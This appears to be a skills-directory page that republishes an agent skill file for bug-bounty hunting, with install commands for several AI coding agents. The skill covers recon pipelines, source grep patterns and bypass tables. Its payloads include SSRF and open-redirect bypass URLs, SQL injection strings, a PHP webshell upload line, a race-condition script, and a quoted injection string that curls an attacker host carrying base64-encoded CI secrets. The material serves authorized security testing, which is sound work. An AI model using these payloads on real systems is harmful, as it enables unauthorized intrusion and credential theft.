Web2 Vuln Classes
Gabson0x/bountyforge
Complete reference for 28 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples.
Complete bug bounty workflow — recon, pre-hunt learning, vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling…
The automated check flagged lines worth reading first. See the safety section below.
$ npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install awarexone/Agentic-Bug-Hunter bug-bounty --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/bug-bounty .claude/skills/bug-bounty && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "bug-bounty" agent skill from https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/bug-bounty into .claude/skills/bug-bounty/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "bug-bounty", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/bug-bountyType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install awarexone/Agentic-Bug-Hunter bug-bounty --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/bug-bounty .agents/skills/bug-bounty && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "bug-bounty" agent skill from https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/bug-bounty into .agents/skills/bug-bounty/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "bug-bounty", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install awarexone/Agentic-Bug-Hunter bug-bounty --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/bug-bounty .cursor/skills/bug-bounty && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "bug-bounty" agent skill from https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/bug-bounty into .cursor/skills/bug-bounty/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "bug-bounty", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/awarexone/Agentic-Bug-Hunter.git --path skills/bug-bounty--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install awarexone/Agentic-Bug-Hunter bug-bounty --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/bug-bounty .gemini/skills/bug-bounty && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "bug-bounty" agent skill from https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/bug-bounty into .gemini/skills/bug-bounty/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "bug-bounty", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install awarexone/Agentic-Bug-Hunter bug-bountyInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/bug-bounty .github/skills/bug-bounty && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "bug-bounty" agent skill from https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/bug-bounty into .github/skills/bug-bounty/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "bug-bounty", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add awarexone/Agentic-Bug-Hunter --skill bug-bounty -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install awarexone/Agentic-Bug-Hunter bug-bounty --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/bug-bounty .opencode/skills/bug-bounty && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "bug-bounty" agent skill from https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/bug-bounty into .opencode/skills/bug-bounty/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "bug-bounty", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
bug-bountyComplete bug bounty workflow — recon, pre-hunt learning, vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling…
Bug Bounty is an agent skill from awarexone/Agentic-Bug-Hunter. Complete bug bounty workflow — recon, pre-hunt learning, vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (ASI01-ASI10), A-to-B bug chaining, bypass tables, language-specific grep patterns, and reporting (7-Question Gate, 4 validation gates, CVSS 3.1, PoC generation, submission checklist). Use for ANY…
Its SKILL.md is about 20k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Bug bounty, Web application vulnerabilities and OAuth and OpenID Connect. It works with GraphQL. The repository describes itself as: AI-powered bug bounty hunting toolkit that works with or without subscription. The licence is MIT.
4 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 06c0bcb. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
semgrepcurlpython3pip3dockerjqgitbrewnpmghgopipFrom the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
hackerone.comtarget-app.firebaseio.comAlso links to:
github.comsisaku-security.github.iomedia.defcon.orgsynacktiv.combugcrowd.comintigriti.comportswigger.netbook.hacktricks.xyzsolodit.cyfrin.iochaos.projectdiscovery.ioxsshunter.trufflesecurity.comFrom URLs in SKILL.md, links to its own repository left out.
Names these keys or tokens, usually read from environment variables:
GITHUB_TOKENBAZEL_IO_TOKENNPM_RELEASE_TOKENFrom names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Bug Bounty loads about 20k tokens when it runs. Until then it costs about 165 tokens; SKILL.md has 6,549 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found patterns that need a careful read before installing.
- [ ] Exposed env files (`/.env`, `/.env.local`)**Laravel**: `/horizon`, `/telescope`, `/.env`, `/storage/logs/laravel.log`**Node.js**: `/.env`, `/graphql` (introspection), `/_debug`- **403/blocked sensitive paths** (`/.env 403`, `/.git 403`, `/admin 403`): pivot to "Error Disclosure / Debug Endpointsrtifacts** — uploaded artifacts contain `.env`, credentials, or hidden files/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"/.env /config.json /server-status /actuator/envAutomated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from awarexone/Agentic-Bug-Hunter at commit 06c0bcb, republished under its MIT licence (© awarexone). 6,549 words, ~19,621 tokens.
.claude/skills/bug-bounty/SKILL.md (or your agent's skills folder).Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
| Pattern | Kill Reason |
|---|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| Source maps without secrets | No impact |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
python3 tools/lead_board.py ingest <target> + show + next. Route each signal to its skill ("GraphQL → hunt-graphql"). touch when starting/killing/reporting. Focus on one lead; the board remembers the rest. Surface stale high-priority leads unprompted.For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see
skills/bb-methodology/SKILL.md.Tool catalogue:
tools/README.md(~50 tools). Orchestrator:python3 tools/hunt.py --target T(auto lead ingest; add--graphql/--cve-huntas needed).
Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in. Load auth once at session start and every downstream tool (httpx, katana, ffuf, nuclei, dalfox, the SQLi / SSTI / upload PoC verifiers) sends those headers automatically.
# Pick ONE of these and run hunt.py normally:
python3 tools/hunt.py --target T --cookie 'session=eyJabc...'
python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...'
python3 tools/hunt.py --target T --auth-file .private/T.json
# Or via env (persists for the shell):
export BBHUNT_COOKIE='session=eyJabc...'
python3 tools/hunt.py --target TFor IDOR / BOLA hunts, load two sessions and diff behavior:
python3 tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 tools/hunt.py --target T --auth-file .private/T-user-b.json
# Audit log entries carry different session_id hashes → diff which
# endpoints behaved differently per identity.Safety: cookies/tokens never appear in logs, hunt-memory, or repr().
Only a 12-char session_id hash is recorded. .private/ is gitignored.
MFA-skip and SAML signature-stripping probes deliberately stay anonymous —
that's the attack they're checking for.
Full guide: docs/auth-sessions.md. Template: docs/auth.example.json.
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|---|---|---|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |
| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chainVienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impactAverage hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
Think like the developer who built the feature:
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
| Tool | Use |
|---|---|
| subfinder | Passive subdomain enum |
| httpx | Probe live hosts |
| dnsx | DNS resolution |
| nuclei | Template scanner |
| katana | Crawl |
| waybackurls | Archive URLs |
| gau | Known URLs |
| dalfox | XSS scanner |
| ffuf | Fuzzer |
| anew | Dedup append |
| qsreplace | Replace param values |
| assetfinder | Subdomain enum |
| gf | Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client | OOB callbacks |
| Tool | Use | Install |
|---|---|---|
| arjun | Hidden parameter discovery | pip3 install arjun |
| paramspider | URL parameter mining | pip3 install paramspider |
| kiterunner | API endpoint brute | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | Cloud asset enumeration | pip3 install cloud_enum |
| trufflehog | Secret scanning | brew install trufflehog |
| gitleaks | Secret scanning | brew install gitleaks |
| XSStrike | Advanced XSS scanner | pip3 install xsstrike |
| SecretFinder | JS secret extraction | pip3 install secretfinder |
| sqlmap | SQL injection | pip3 install sqlmap |
| subzy | Subdomain takeover | go install github.com/LukaSikic/subzy@latest |
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save outputUse AI as a second analyst, not as the authority.
Good prompt shapes:
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -accurl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'subjack, subzy).git (/.git/config)/.env, /.env.local)?redirect=, ?next=, ?url=)Origin: https://evil.com + credentials)/actuator/env, /actuator/heapdump) — for full framework debug surface + triggering techniques → web2-vuln-classes "Error Disclosure / Debug Endpoints"https://TARGET.firebaseio.com/.json)| Signal | Technology |
|---|---|
Cookie: XSRF-TOKEN + *_session | Laravel |
Cookie: PHPSESSID | PHP |
Header: X-Powered-By: Express | Node.js/Express |
Response: wp-json/wp-content | WordPress |
Response: {"errors":[{"message": | GraphQL |
Header: X-Powered-By: Next.js | Next.js |
After any stack is identified: immediately check its debug surface — probe the framework-specific paths from web2-vuln-classes "Error Disclosure / Debug Endpoints", then grep all 4xx/5xx response bodies for the framework regex patterns there before moving to Phase 3.
Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log
WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1
Node.js: /.env, /graphql (introspection), /_debug
AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
# ↑ If listeners found, verify origin-check robustness with attacker page —
# see web2-vuln-classes section 3 "postMessage Testing"
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___timingSafeEqual in one place, === elsewhere/api/v1/ guarded but /api/ isn't# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
> **Before closing any 4xx/5xx:** grep the response body for the 8 framework trace patterns in web2-vuln-classes "Error Disclosure / Debug Endpoints". A 502 body containing a Node.js stack trace is not a dead end — it is a chain entry point.
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+writeX-Forwarded-For: 127.0.0.1)redirect_uri/.env 403, /.git 403, /admin 403): pivot to "Error Disclosure / Debug Endpoints" triggering techniques — malformed input on adjacent API endpoints (/api/user/abc, {"id": null}, ?page=9999999999) to elicit framework stack traces without needing direct path access.Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"#1 most paid web2 class -- 30% of all submissions that get paid.
| Variant | What to Test |
|---|---|
| V1: Direct | Change object ID in URL path /api/users/123 -> /api/users/456 |
| V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk | /api/users?ids=1,2,3,4,5 -- request multiple IDs at once |
| V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path | /files/download?path=../other-user/file.pdf |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |
?user_id=other_userhttp://169.254.169.254/latest/meta-data/http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)file://, dict://, gopher://| Bypass | Payload | Notes |
|---|---|---|
| Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal |
| Hex IP | http://0x7f000001/ | Hex representation |
| Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 |
| Short IP | http://127.1/ | Abbreviated notation |
| IPv6 | http://[::1]/ | Loopback in IPv6 |
| IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 |
| Redirect chain | http://attacker.com/302->http://169.254.169.254 | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion |
| Enclosed alphanumeric | http://①②⑦.⓪.⓪.① | Unicode numerals |
| Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |
state parameter -> CSRFredirect_uri accepts wildcards -> ATOUse these when chaining open redirect into OAuth code theft:
| Bypass | Payload | Notes |
|---|---|---|
| Double URL encoding | %252F%252F | Decodes to // after double decode |
| Backslash | https://target.com\@evil.com | Some parsers normalize \ to / |
| Missing protocol | //evil.com | Protocol-relative |
| @-trick | https://target.com@evil.com | target.com becomes username |
| Protocol-relative | ///evil.com | Triple slash |
| Tab/newline injection | //evil%09.com | Whitespace in hostname |
| Fragment trick | https://evil.com#target.com | Fragment misleads validation |
| Null byte | https://evil.com%00target.com | Some parsers truncate at null |
| Parameter pollution | ?next=target.com&next=evil.com | Last value wins |
| Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect |
| Unicode normalization | https://evil.com/target.com | Visual confusion |
| Bypass | Technique |
|---|---|
| Double extension | file.php.jpg, file.php%00.jpg |
| Case variation | file.pHp, file.PHP5 |
| Alternative extensions | .phtml, .phar, .shtml, .inc |
| Content-Type spoof | image/jpeg header with PHP content |
| Magic bytes | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | ../../etc/cron.d/shell in filename inside archive |
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
waitdef queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1| Tech signal | Likely DBMS | Blind probe |
|---|---|---|
.asp/.aspx, IIS, ASP.NET error pages | MSSQL | WAITFOR DELAY '0:0:5'-- |
.php, Apache/nginx LAMP | MySQL/MariaDB | SLEEP(5)-- |
Java/Spring, .jsp | PostgreSQL / MSSQL / Oracle | pg_sleep(5) / WAITFOR / dbms_pipe.receive_message('a',5) |
| Python (Django/Flask), Rails | PostgreSQL / MySQL | pg_sleep(5) / SLEEP(5) |
Fingerprint early: @@version (MSSQL/MySQL), version() (PG), SELECT banner FROM v$version (Oracle). A wrong-DBMS payload silently fails — that's a missed bug, not a clean target.
